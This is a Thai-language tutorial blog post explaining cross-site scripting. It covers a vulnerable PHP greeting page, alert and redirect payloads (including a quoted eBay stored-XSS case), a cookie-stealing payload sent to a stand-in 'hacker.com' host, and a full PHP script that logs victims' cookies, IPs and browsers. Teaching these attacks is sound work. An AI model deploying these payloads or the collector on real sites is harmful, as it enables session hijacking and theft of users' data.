CROSS SITE SCRIPT (XSS)

CROSS SITE SCRIPT (XSS)
XSS เป็นการโจมตีที่เก่าแก่ที่สุดแบบหนึ่งของ Web Application Attack แต่ ณ ปัจจุบันถือว่าเป็นการโจมตีที่พบบ่อยมากที่สุดอันดับต้นๆเลยทีเดียว ซึ่ง XSS เป็นการโจมตีโดยฝัง HTML หรือ JavaScript เข้าไปใน web browser ของเหยื่อ
การทำงานของ XSS นั้นก็ตามชื่อคือการนำ script จากเว็บไซด์ใดๆหรือของ Hacker นำมาทำงานบนเว็บไซด์ที่มีช่องโหว่หรือบน browser ของเหยื่อเอง Hacker มักจะใช้เพื่อการขโมย Cookie, หรือการ redirect user ไปยังเว็บไซด์อื่นที่มีการฝัง exploit ไว้อยู่ รวมถึงการกระทำเพื่อให้เกิด CSRF อีกด้วย ซึ่ง Hacker สามารถฝัง XSS ได้ 2 ช่องทางคือ ฝังผ่าน URL, ฝังผ่าน Webboard นั่นเอง
ในที่นี้ผมจะยกตัวอย่าง PHP Code ชื่อ sayhi.php ที่มีช่องโหว่ดังนี้
<?php
echo ‘Hi ’.$_GET[‘username’];
?>
โค้ดนี้เป็นโค้ดง่ายๆที่รับชื่อ user จาก parameter username เพื่อต้อนรับ user เช่น
http://www.example.com?sayhi.php?username=sumedt
แสดงว่า code จะแสดงออกมาเป็น
Hi Sumedt
ทีนี้หาก Hacker ใส่ค่า user เป็น <script>alert(‘Testing XSS’);</script> ซึ่งเมื่อเราไปใส่ในกดเข้า URL ก็จะได้เป็น
http://www.example.com?sayhi.php?username=<script>alert('Testing XSS');<script>
และจะแสดงผลออกมาเป็น
Hi <script>alert('Testing XSS');</script>
ซึ่งจะทำให้ JavaScript popup ขึ้นมาเป็นข้อความ Testing XSS 
Screen Shot 2562-07-03 at 11.30.13.png
ซึ่ง JavaScript นั้นสามารถแสดง cookie ได้อีกด้วย นั่นหมายความว่า Hacker สามารถส่งค่า cookie ของ user ไปเก็บไว้ที่เครื่องของ Hacker ได้ เช่น
<script>new Image().src="http://www.hacker.com?getc.php?cookie="+document.cookie;</script>
โดยที่ getc.php อาจจะเขียนเป็นดังนี้
#Get Cookie
$cookie = $_GET['cookie'];

#savefile
$file = "cookie/save.txt";

#Get Broswer Type
$browser = $_SERVER['HTTP_USER_AGENT'];

#Get Refering Agent
$refer = $_SERVER['HTTP_REFERER']; 

#Get IP
if (getenv(HTTP_X_FORWARDED_FOR)){
 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
 $ip = $_SERVER['REMOTE_ADDR'];
}

#Get Hostname
$hostname = gethostbyaddr($ip);

#Create Timestamp
$timestamp = date("Y:m:d:H:i:s");

#Write Output
$process_file = fopen($file, 'a');
if($process_file)
{
 $output = "TIME: " . $timestamp . "\n";
 if($ip)
    $output = $output . "IP: " . $ip . "\n";
 if($hostname)
    $output = $output . "HOST: " . $hostname . "\n";
 if($browser)
    $output = $output . "BROWSER: " . $browser . "\n";
 if($refer)
    $output = $output . "REFERER: " . $refer . "\n";
 if($cookie)
    $output = $output . "COOKIE: " . $cookie . "\n";
 fwrite($process_file, $output);
 fclose($process_file);
}
?>
ในที่นี้ Hacker จะเก็บรายละเอียดต่างๆของเหยื่อไว้ด้วยเพื่อให้สามารถแยกแยะที่มาที่ไปของ cookie นั้นได้
โดยประเภทของ XSS นั้นมีด้วยกัน 3 ประเภทคือ
1. Stored XSS (Persistent XSS)
2. Reflected XSS (Non-persistent XSS)
3. DOM-based XSS
ซึ่งในบทเรียนนี้เราจะเรียนรู้เกี่ยวกับ Stored XSS กันก่อน

Stored XSS (Persistent XSS)

XSS แบบนี้เป็นแบบที่ฝังเข้าไปในเว็บไซต์หรือเว็บบอร์ดทั่วไป ซึ่งผลของมันนั้นเป็นการโจมตีที่อันตรายที่สุดของทั้งสามแบบเพราะเป็นการโจมตีที่จะโจมตีผู้ใช้ทุกคนที่เข้ามาใช้งานหน้าเว็บเพจที่ถูกฝัง XSS ไว้ และเป้าหมายการใช้งานมักจะใช้เพื่อเปลี่ยนเว็บเพจ แต่ทาง Reflected XSS นั้นมักจะใช้เพื่อขโมย Session ID เสียมากกว่า
ก่อนหน้านี้ ebay ก็เคยมีช่องโหว่นี้เช่นกันโดยเมื่อ login เข้าไปใน ebay แล้วเราสามารถแก้ไขข้อมูลส่วนตัวแบบ HTML ได้ (<span style="color: rgb(17, 85, 204);"><u>http://members.ebay.com/ws/eBayISAPI.dll?EditUserPageHTMLSource</u></span><span style="color: rgb(17, 85, 204);"><u>http://members.ebay.com/ws/eBayISAPI.dll?EditUserPageHTMLSource</u></span>](http://members.ebay.com/ws/eBayISAPI.dll?EditUserPageHTMLSource)) ซึ่ง Hacker สามารถใส่ XSS ฝังเข้าไปใน profile ได้เช่น ในที่นี้ Hacker ได้ใส่เป็น
'"--><script>alert(/Xss2ro07 aKa Side3ffects)</script>
<script>document.onload=location.href='[http://www.xssed.com](http://www.xssed.com)</script>"
ซึ่งหมายความว่าในลำดับแรกเมื่อมีเหยื่อเข้าไปดู profile ของ Hacker ก็จะพบ popup เป็น /Xss2ro07 aKa Side3ffects/ จากนั้นก็จะทำการ redirect ผู้ใช้ไปที่ <span style="color: rgb(17, 85, 204);"><u>http://www.xssed.com</u></span> <span style="color: rgb(17, 85, 204);"><u>http://www.xssed.com</u></span>](http://www.xssed.com) (สามารถอ่านรายละเอียดเพิ่มเติมได้ที่ <span style="color: rgb(17, 85, 204);"><u>http://www.xssed.com/news/125/Persistent_XSS_bug_discovered_on_eBay/</u></span><span style="color: rgb(17, 85, 204);"><u>http://www.xssed.com/news/125/Persistent_XSS_bug_discovered_on_eBay/</u></span>](http://www.xssed.com/news/125/Persistent_XSS_bug_discovered_on_eBay/))
Screen Shot 2562-07-03 at 13.26.23.png
รูปภาพ popup ของ XSS ใน ebay profile จาก<span class="colour" style="color: rgb(74, 134, 232);"><u>http://www.xssed.com</u></span>
Screen Shot 2562-07-03 at 13.10.52.png

Comments

Popular Posts